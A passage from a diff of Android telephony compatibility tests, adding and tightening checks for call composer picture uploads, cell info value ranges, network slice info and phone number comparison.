+ private static final long TEST_TIMEOUT_MILLIS = 5000;
+
+ private String mPreviousDefaultDialer;
+ private Context mContext;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getContext();
+ overrideDefaultDialer();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ restoreDefaultDialer();
+ Files.deleteIfExists(mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME));
+ }
+
+ @Test
+ public void testUploadPictureWithFile() throws Exception {
+ Path testFile = mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME);
+ byte[] imageData = getSamplePictureAsBytes();
+ Files.write(testFile, imageData);
+
+ pictureUploadHelper(testFile, null, -1);
+ }
+
+ @Test
+ public void testUploadPictureAsStream() throws Exception {
+ byte[] imageData = getSamplePictureAsBytes();
+ ByteArrayInputStream inputStream = new ByteArrayInputStream(imageData);
+
+ pictureUploadHelper(null, inputStream, -1);
+ }
+
+ @Test
+ public void testExcessivelyLargePictureAsFile() throws Exception {
+ int targetSize = (int) TelephonyManager.getMaximumCallComposerPictureSize() + 1;
+ byte[] imageData = getSamplePictureAsBytes();
+ byte[] paddedData = new byte[targetSize];
+ System.arraycopy(imageData, 0, paddedData, 0, imageData.length);
+ Path testFile = mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME);
+ Files.write(testFile, paddedData);
+
+ pictureUploadHelper(testFile, null,
+ TelephonyManager.CallComposerException.ERROR_FILE_TOO_LARGE);
+ }
+
+ @Test
+ public void testExcessivelyLargePictureAsStream() throws Exception {
+ int targetSize = (int) TelephonyManager.getMaximumCallComposerPictureSize() + 1;
+ byte[] imageData = getSamplePictureAsBytes();
+ byte[] paddedData = new byte[targetSize];
+ System.arraycopy(imageData, 0, paddedData, 0, imageData.length);
+ ByteArrayInputStream inputStream = new ByteArrayInputStream(paddedData);
+
+ pictureUploadHelper(null, inputStream,
+ TelephonyManager.CallComposerException.ERROR_FILE_TOO_LARGE);
+ }
+
+ private void pictureUploadHelper(Path inputFile, InputStream inputStream,
+ int expectedErrorCode) throws Exception {
+ TelephonyManager tm = mContext.getSystemService(TelephonyManager.class);
+ CompletableFuture<Pair<ParcelUuid, TelephonyManager.CallComposerException>> resultFuture =
+ new CompletableFuture<>();
+ OutcomeReceiver<ParcelUuid, TelephonyManager.CallComposerException> callback =
+ new OutcomeReceiver<ParcelUuid, TelephonyManager.CallComposerException>() {
+ @Override
+ public void onResult(@NonNull ParcelUuid result) {
+ resultFuture.complete(Pair.create(result, null));
+ }
+
+ @Override
+ public void onError(TelephonyManager.CallComposerException error) {
+ resultFuture.complete(Pair.create(null, error));
+ }
+ };
+
+ if (inputFile != null) {
+ tm.uploadCallComposerPicture(inputFile, TEST_FILE_CONTENT_TYPE,
+ Executors.newSingleThreadExecutor(), callback);
+ } else {
+ tm.uploadCallComposerPicture(inputStream, TEST_FILE_CONTENT_TYPE,
+ Executors.newSingleThreadExecutor(), callback);
+ }
+
+ Pair<ParcelUuid, TelephonyManager.CallComposerException> result;
+ try {
+ result = resultFuture.get(TEST_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ } catch (TimeoutException e) {
+ fail("Timed out waiting for response from TelephonyManager");
+ return;
+ }
+
+ if (result.second != null && expectedErrorCode < 0) {
+ String error = TelephonyUtils.parseErrorCodeToString(result.second.getErrorCode(),
+ TelephonyManager.CallComposerException.class, "ERROR_");
+ fail("Upload failed with " + error
+ + "\nIOException: " + result.second.getIOException());
+ } else if (expectedErrorCode >= 0) {
+ String expectedError = TelephonyUtils.parseErrorCodeToString(expectedErrorCode,
+ TelephonyManager.CallComposerException.class, "ERROR_");
+ if (result.second == null) {
+ fail("Did not get the expected error: " + expectedError);
+ } else if (result.first != null) {
+ fail("Got a UUID from Telephony when we expected " + expectedError);
+ } else if (result.second.getErrorCode() != expectedErrorCode) {
+ String observedError =
+ TelephonyUtils.parseErrorCodeToString(result.second.getErrorCode(),
+ TelephonyManager.CallComposerException.class, "ERROR_");
+ fail("Expected " + expectedError + ", got " + observedError);
+ }
+ // If we expected an error, the test ends here
+ return;
+ }
+
+ assertNotNull(result.first);
+ // TODO: test the actual upload and/or storage to the call log.
+
+ // Make sure that any file descriptors opened to the test file have been closed.
+ if (inputFile != null) {
+ try {
+ Files.newOutputStream(inputFile, StandardOpenOption.WRITE,
+ StandardOpenOption.APPEND).close();
+ } catch (IOException e) {
+ fail("Couldn't open+close the file after upload -- leaked fd? " + e);
+ }
+ }
+ }
+
+ private byte[] getSamplePictureAsBytes() throws Exception {
+ InputStream resourceInput = mContext.getResources().openRawResource(R.drawable.cupcake);
+ return readBytes(resourceInput);
+ }
+
+ private static byte[] readBytes(InputStream inputStream) throws Exception {
+ byte[] buffer = new byte[1024];
+ ByteArrayOutputStream output = new ByteArrayOutputStream();
+ int numRead;
+ do {
+ numRead = inputStream.read(buffer);
+ if (numRead > 0) output.write(buffer, 0, numRead);
+ } while (numRead > 0);
+ return output.toByteArray();
+ }
+
+ private void overrideDefaultDialer() throws Exception {
+ mPreviousDefaultDialer = TelephonyUtils.executeShellCommand(
+ InstrumentationRegistry.getInstrumentation(), "telecom get-default-dialer");
+ TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+ "cmd role add-role-holder --user " + UserHandle.myUserId()
+ + " android.app.role.DIALER " + mContext.getPackageName());
+ }
+
+ private void restoreDefaultDialer() throws Exception {
+ TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+ "cmd role add-role-holder --user " + UserHandle.myUserId()
+ + " android.app.role.DIALER " + mPreviousDefaultDialer);
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index 05f4023..24a6995 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -38,7 +38,10 @@
import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.os.Looper;
@@ -57,6 +60,8 @@
import org.junit.Test;
import java.io.IOException;
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -318,6 +323,35 @@
}
@Test
+ public void testExtraRebroadcastOnUnlock() throws Throwable {
+ BlockingQueue<Boolean> queue = new ArrayBlockingQueue<Boolean>(5);
+ BroadcastReceiver receiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+ queue.add(new Boolean(true));
+ // verify that REBROADCAST_ON_UNLOCK is populated
+ assertFalse(
+ intent.getBooleanExtra(CarrierConfigManager.EXTRA_REBROADCAST_ON_UNLOCK,
+ true));
+ }
+ }
+ };
+
+ final IntentFilter filter =
+ new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+ getContext().registerReceiver(receiver, filter);
+
+ // verify that carrier config is received
+ int subId = SubscriptionManager.getDefaultSubscriptionId();
+ getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+ mConfigManager.notifyConfigChangedForSubId(subId);
+
+ Boolean broadcastReceived = queue.poll(10L, TimeUnit.SECONDS);
+ assertTrue(broadcastReceived);
+ }
+
+ @Test
public void testGetConfigByComponentForSubId() {
PersistableBundle config =
mConfigManager.getConfigByComponentForSubId(
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index 86b4dde..0cf33b1 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -68,8 +68,18 @@
/**
* Test TelephonyManager.getAllCellInfo()
* <p>
- * TODO(chesnutt): test onCellInfoChanged() once the implementation
- * of async callbacks is complete (see http://b/13788638)
+ *
+ * Test that the Cellular Location APIs return proper and complete information.
+ * <ul>
+ * <li>At least one cell must be reported as the registered cell.
+ * <li>Registered cells must report the technology-specific fields consisting of a globally
+ * unique cell identifier.
+ * <li>All cells must report a technology-specific physical cell identifier, such as a tuple
+ * of the frequency and a phyisical cell ID that allows them to be uniquely identified
+ * given a known global cell.
+ * <li>All cells must report at least one valid power measurement.
+ * </ul>
+ *
*/
public class CellInfoTest {
private static final String TAG = "android.telephony.cts.CellInfoTest";
@@ -87,7 +97,7 @@
private static final int MAX_RSSNR = 30;
private static final int MIN_RSSNR = -20;
// Maximum and minimum possible CQI values.
- private static final int MAX_CQI = 30;
+ private static final int MAX_CQI = 15;
private static final int MIN_CQI = 0;
/**
@@ -127,6 +137,9 @@
// 3GPP TS 36.101
private static final int BAND_MIN_LTE = 1;
private static final int BAND_MAX_LTE = 88;
+ //3GPP TS 136.213 section 7.2.3
+ private static final int CQI_TABLE_INDEX_MIN_LTE = 1;
+ private static final int CQI_TABLE_INDEX_MAX_LTE = 6;
// The followings are parameters for testing CellIdentityWcdma
// Location Area Code ranges from 0 to 65535.
@@ -150,6 +163,9 @@
private static final int BAND_FR1_MAX_NR = 95;
private static final int BAND_FR2_MIN_NR = 257;
private static final int BAND_FR2_MAX_NR = 261;
+ //3GPP TS 138.214 section 5.2.2.1
+ private static final int CQI_TABLE_INDEX_MIN_NR = 1;
+ private static final int CQI_TABLE_INDEX_MAX_NR = 3;
// 3gpp 36.101 Sec 5.7.2
private static final int CHANNEL_RASTER_EUTRAN = 100; //kHz
@@ -597,6 +613,8 @@
int csiRsrp = nr.getCsiRsrp();
int csiRsrq = nr.getCsiRsrq();
int csiSinr = nr.getSsSinr();
+ int csiCqiTableIndex = nr.getCsiCqiTableIndex();
+ List<Integer> csiCqiReport = nr.getCsiCqiReport();
int ssRsrp = nr.getSsRsrp();
int ssRsrq = nr.getSsRsrq();
int ssSinr = nr.getSsSinr();
@@ -608,6 +626,14 @@
+ csiRsrq, -20 <= csiRsrq && csiRsrq <= -3 || csiRsrq == CellInfo.UNAVAILABLE);
assertTrue("getCsiSinr() out of range [-23, 40] | Integer.MAX_INTEGER, csiSinr = "
+ csiSinr, -23 <= csiSinr && csiSinr <= 40 || csiSinr == CellInfo.UNAVAILABLE);
+ assertTrue("getCsiCqiTableIndex() out of range | CellInfo.UNAVAILABLE, csiCqiTableIndex="
+ + csiCqiTableIndex, csiCqiTableIndex == CellInfo.UNAVAILABLE
+ || (csiCqiTableIndex >= CQI_TABLE_INDEX_MIN_NR
+ && csiCqiTableIndex <= CQI_TABLE_INDEX_MAX_NR));
+ assertTrue("cqi in getCsiCqiReport() out of range | CellInfo.UNAVAILABLE, csiCqiReport="
+ + csiCqiReport, csiCqiReport.stream()
+ .allMatch(cqi -> cqi.intValue() == CellInfo.UNAVAILABLE
+ || (cqi.intValue() >= MIN_CQI && cqi.intValue() <= MAX_CQI)));
assertTrue("getSsRsrp() out of range [-140, -44] | Integer.MAX_INTEGER, ssRsrp = "
+ ssRsrp, -140 <= ssRsrp && ssRsrp <= -44
|| ssRsrp == CellInfo.UNAVAILABLE);
@@ -639,8 +665,7 @@
// Only physical cell id is available for LTE neighbor.
int pci = lte.getPci();
// Physical cell id should be within [0, 503].
- assertTrue("getPci() out of range [0, 503], pci=" + pci,
- (pci == CellInfo.UNAVAILABLE) || (pci >= 0 && pci <= PCI));
+ assertTrue("getPci() out of range [0, 503], pci=" + pci, (pci >= 0 && pci <= PCI));
// Tracking area code ranges from 0 to 65535.
int tac = lte.getTac();
@@ -672,7 +697,7 @@
}
assertTrue(
"getEarfcn() out of range [" + minEarfcn + "," + maxEarfcn + "], earfcn=" + earfcn,
- earfcn == CellInfo.UNAVAILABLE || (earfcn >= minEarfcn && earfcn <= maxEarfcn));
+ (earfcn >= minEarfcn && earfcn <= maxEarfcn));
if (mRadioHalVersion >= RADIO_HAL_VERSION_1_5) {
int[] bands = lte.getBands();
@@ -682,11 +707,7 @@
}
}
- String mobileNetworkOperator = lte.getMobileNetworkOperator();
- assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
- + mobileNetworkOperator,
- mobileNetworkOperator == null
- || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+ verifyPlmnId(lte.getMobileNetworkOperator());
for (String plmnId : lte.getAdditionalPlmns()) {
verifyPlmnId(plmnId);
@@ -704,6 +725,8 @@
lte.getMccString() != null || lte.getMcc() != CellInfo.UNAVAILABLE);
assertTrue("MNC is required for registered cells",
lte.getMncString() != null || lte.getMnc() != CellInfo.UNAVAILABLE);
+ assertFalse("PLMN-ID is required for registered cells",
+ TextUtils.isEmpty(lte.getMobileNetworkOperator()));
}
}
@@ -746,6 +769,11 @@
assertTrue("getRssnr() out of range | CellInfo.UNAVAILABLE, rssnr=" + rssnr,
rssnr == CellInfo.UNAVAILABLE || (rssnr >= MIN_RSSNR && rssnr <= MAX_RSSNR));
+ int cqiTableIndex = cellSignalStrengthLte.getCqiTableIndex();
+ assertTrue("getCqiTableIndex() out of range | CellInfo.UNAVAILABLE, cqi=" + cqiTableIndex,
+ cqiTableIndex == CellInfo.UNAVAILABLE || (cqiTableIndex >= CQI_TABLE_INDEX_MIN_LTE
+ && cqiTableIndex <= CQI_TABLE_INDEX_MAX_LTE));
+
int cqi = cellSignalStrengthLte.getCqi();
assertTrue("getCqi() out of range | CellInfo.UNAVAILABLE, cqi=" + cqi,
cqi == CellInfo.UNAVAILABLE || (cqi >= MIN_CQI && cqi <= MAX_CQI));
@@ -815,14 +843,9 @@
// Verify wcdma primary scrambling code information.
// Primary scrambling code should be within [0, 511].
int psc = wcdma.getPsc();
- assertTrue("getPsc() out of range [0, 511], psc=" + psc,
- (psc >= 0 && psc <= PSC) || psc == CellInfo.UNAVAILABLE);
+ assertTrue("getPsc() out of range [0, 511], psc=" + psc, psc >= 0 && psc <= PSC);
- String mobileNetworkOperator = wcdma.getMobileNetworkOperator();
- assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
- + mobileNetworkOperator,
- mobileNetworkOperator == null
- || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+ verifyPlmnId(wcdma.getMobileNetworkOperator());
int uarfcn = wcdma.getUarfcn();
// Reference 3GPP 25.101 Table 5.2
@@ -845,6 +868,8 @@
wcdma.getMccString() != null || wcdma.getMcc() != CellInfo.UNAVAILABLE);
assertTrue("MNC is required for registered cells",
wcdma.getMncString() != null || wcdma.getMnc() != CellInfo.UNAVAILABLE);
+ assertFalse("PLMN-ID is required for registered cells",
+ TextUtils.isEmpty(wcdma.getMobileNetworkOperator()));
}
verifyCellIdentityWcdmaLocationSanitation(wcdma);
@@ -943,19 +968,13 @@
assertTrue("getArfcn() out of range [0,1024], arfcn=" + arfcn,
arfcn == CellInfo.UNAVAILABLE || (arfcn >= 0 && arfcn <= ARFCN));
- String mobileNetworkOperator = gsm.getMobileNetworkOperator();
- assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
- + mobileNetworkOperator,
- mobileNetworkOperator == null
- || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
-
int bsic = gsm.getBsic();
- // TODO(b/32774471) - Bsic should always be valid
- //assertTrue("getBsic() out of range [0,63]", bsic >= 0 && bsic <=63);
+ assertTrue("getBsic() out of range [0,63]", bsic >= 0 && bsic <= 63);
for (String plmnId : gsm.getAdditionalPlmns()) {
verifyPlmnId(plmnId);
}
+ verifyPlmnId(gsm.getMobileNetworkOperator());
// If the cell is reported as registered, then all the logical cell info must be reported
if (isRegistered) {
@@ -965,6 +984,8 @@
gsm.getMccString() != null || gsm.getMcc() != CellInfo.UNAVAILABLE);
assertTrue("MNC is required for registered cells",
gsm.getMncString() != null || gsm.getMnc() != CellInfo.UNAVAILABLE);
+ assertFalse("PLMN-ID is required for registered cells",
+ TextUtils.isEmpty(gsm.getMobileNetworkOperator()));
}
verifyCellIdentityGsmLocationSanitation(gsm);
@@ -1064,11 +1085,7 @@
int cpid = tdscdma.getCpid();
assertTrue("getCpid() out of range [0, 127], cpid=" + cpid, (cpid >= 0 && cpid <= CPID));
- String mobileNetworkOperator = tdscdma.getMobileNetworkOperator();
- assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
- + mobileNetworkOperator,
- mobileNetworkOperator == null
- || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+ verifyPlmnId(tdscdma.getMobileNetworkOperator());
int uarfcn = tdscdma.getUarfcn();
// Reference 3GPP 25.101 Table 5.2
@@ -1089,6 +1106,8 @@
assertTrue("CID is required for registered cells", cid != CellInfo.UNAVAILABLE);
assertTrue("MCC is required for registered cells", tdscdma.getMccString() != null);
assertTrue("MNC is required for registered cells", tdscdma.getMncString() != null);
+ assertFalse("PLMN-ID is required for registered cells",
+ TextUtils.isEmpty(tdscdma.getMobileNetworkOperator()));
}
verifyCellIdentityTdscdmaLocationSanitation(tdscdma);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
index ed17284..6c61cc3 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
@@ -17,10 +17,16 @@
package android.telephony.cts;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
import android.telephony.CellSignalStrength;
import android.telephony.SignalStrength;
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
import org.junit.Test;
/**
@@ -30,6 +36,12 @@
public class CellSignalStrengthTest {
private static final String TAG = "CellSignalStrengthTest";
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+ }
+
/** Check whether NUM_SIGNAL_STRENGTH_BINS holds value 5 as required by
* {@link SignalStrength#getLevel)} which returns value between 0 and 4. */
@Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
index 4eec7c4..a9a75b3 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
@@ -18,6 +18,8 @@
import static android.telephony.data.DataCallResponse.HANDOVER_FAILURE_MODE_DO_FALLBACK;
import static android.telephony.data.DataCallResponse.HANDOVER_FAILURE_MODE_LEGACY;
+import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_EMBB;
+import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_MIOT;
import static com.google.common.truth.Truth.assertThat;
@@ -26,6 +28,7 @@
import android.os.Parcel;
import android.telephony.data.ApnSetting;
import android.telephony.data.DataCallResponse;
+import android.telephony.data.SliceInfo;
import org.junit.Test;
@@ -52,6 +55,18 @@
private static final int MTU_V6 = 1400;
private static final int HANDOVER_FAILURE_MODE = HANDOVER_FAILURE_MODE_DO_FALLBACK;
private static final int PDU_SESSION_ID = 5;
+ private static final int TEST_SLICE_DIFFERENTIATOR = 1;
+ private static final int TEST_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_EMBB;
+ private static final int TEST_HPLMN_SLICE_DIFFERENTIATOR = 10;
+ private static final int TEST_HPLMN_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_MIOT;
+ private static final SliceInfo SLICE_INFO =
+ new SliceInfo.Builder()
+ .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+ .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+ .setMappedHplmnSliceDifferentiator(TEST_HPLMN_SLICE_DIFFERENTIATOR)
+ .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
+ .build();
+
@Test
public void testConstructorAndGetters() {
@@ -70,6 +85,7 @@
.setMtuV6(MTU_V6)
.setHandoverFailureMode(HANDOVER_FAILURE_MODE)
.setPduSessionId(PDU_SESSION_ID)
+ .setSliceInfo(SLICE_INFO)
.build();
assertThat(response.getCause()).isEqualTo(CAUSE);
@@ -86,6 +102,7 @@
assertThat(response.getMtuV6()).isEqualTo(MTU_V6);
assertThat(response.getHandoverFailureMode()).isEqualTo(HANDOVER_FAILURE_MODE_DO_FALLBACK);
assertThat(response.getPduSessionId()).isEqualTo(PDU_SESSION_ID);
+ assertThat(response.getSliceInfo()).isEqualTo(SLICE_INFO);
}
@Test
@@ -105,6 +122,7 @@
.setMtuV6(MTU_V6)
.setHandoverFailureMode(HANDOVER_FAILURE_MODE)
.setPduSessionId(PDU_SESSION_ID)
+ .setSliceInfo(SLICE_INFO)
.build();
DataCallResponse equalsResponse = new DataCallResponse.Builder()
@@ -122,6 +140,7 @@
.setMtuV6(MTU_V6)
.setHandoverFailureMode(HANDOVER_FAILURE_MODE)
.setPduSessionId(PDU_SESSION_ID)
+ .setSliceInfo(SLICE_INFO)
.build();
assertThat(response).isEqualTo(equalsResponse);
@@ -144,6 +163,7 @@
.setMtuV6(MTU_V6)
.setHandoverFailureMode(HANDOVER_FAILURE_MODE)
.setPduSessionId(PDU_SESSION_ID)
+ .setSliceInfo(SLICE_INFO)
.build();
DataCallResponse notEqualsResponse = new DataCallResponse.Builder()
@@ -161,6 +181,7 @@
.setMtuV6(1440)
.setHandoverFailureMode(HANDOVER_FAILURE_MODE_LEGACY)
.setPduSessionId(PDU_SESSION_ID)
+ .setSliceInfo(SLICE_INFO)
.build();
assertThat(response).isNotEqualTo(notEqualsResponse);
@@ -185,6 +206,7 @@
.setMtuV6(MTU_V6)
.setHandoverFailureMode(HANDOVER_FAILURE_MODE)
.setPduSessionId(PDU_SESSION_ID)
+ .setSliceInfo(SLICE_INFO)
.build();
Parcel stateParcel = Parcel.obtain();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
index 60b0de2..24cc212 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
@@ -212,7 +212,7 @@
.build();
// Send
final PendingIntent pendingIntent = PendingIntent.getBroadcast(
- context, 0, new Intent(ACTION_MMS_SENT), 0);
+ context, 0, new Intent(ACTION_MMS_SENT), PendingIntent.FLAG_MUTABLE_UNAUDITED);
smsManager.sendMultimediaMessage(context,
contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT));
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
index 49558d1..38873cf 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -387,12 +387,65 @@
@Test
public void testFormatNumberToE164() {
- assertNull(PhoneNumberUtils.formatNumber("invalid#", "US"));
- assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "US"));
+ assertNull(PhoneNumberUtils.formatNumber("invalid#", "us"));
+ assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "us"));
- assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "US"));
- assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "US"));
- assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "US"));
- assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "JP"));
+ assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "us"));
+ assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "us"));
+ assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "us"));
+ assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "jp"));
+ }
+
+ @Test
+ public void testAreSamePhoneNumber() {
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("abcd", "bcde", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("1-800-flowers", "800-flowers", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("1-800-flowers", "1-800-abcdefg", "us"));
+
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("999", "999", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("123456789", "923456789", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("123456789", "0123456789", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "650 253 0000", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "1-650-253-0000", "us"));
+
+ //TODO: Change the expected result to false after libphonenumber improvement
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "11-650-253-0000", "us"));
+
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "0-650-253-0000", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("555-4141", "+1-700-555-4141", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("+1650-253-0000", "6502530000", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("001650-253-0000", "6502530000", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("0111650-253-0000", "6502530000", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("+19012345678", "+819012345678", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("008001231234", "8001231234", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("+66811234567", "166811234567", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("080-1234-5678", "+819012345678", "us"));
+
+ //TODO: Change the expected result to false after libphonenumber improvement
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("011 11 7005554141", "+17005554141", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("+44 207 792 3490", "00 207 792 3490",
+ "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("16610001234", "6610001234", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+14504503605", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+15404503605", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+15514503605", "us"));
+
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("+31771234567", "0771234567", "jp"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "+819012345678", "jp"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "90-1234-5678", "jp"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "080-1234-5678", "jp"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "190-1234-5678", "jp"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "890-1234-5678", "jp"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("080-1234-5678", "+819012345678", "jp"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("290-1234-5678", "+819012345678", "jp"));
+
+ //TODO: Change the expected result to false after libphonenumber improvement
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("+79161234567", "89161234567", "ru"));
+
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("+33123456789", "0123456789", "fr"));
+
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("+31771234567", "0771234567", "nl"));
+
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("+593(800)123-1234", "8001231234", "ec"));
}
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
new file mode 100644
index 0000000..cc534f7
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.telephony.AccessNetworkConstants;
+import android.telephony.PhysicalChannelConfig;
+import android.telephony.ServiceState;
+import android.telephony.TelephonyManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PhysicalChannelConfigTest {
+
+ private static final int[] CONTEXT_IDS = new int[] {123, 555, 1, 0};
+ private static final int BAND = 1;
+ private static final int CONNECTION_STATUS = PhysicalChannelConfig.CONNECTION_PRIMARY_SERVING;
+ private static final int CELL_BANDWIDTH = 12345;
+ private static final int CHANNEL_NUMBER = 1234;
+ private static final int FREQUENCY_RANGE = 1;
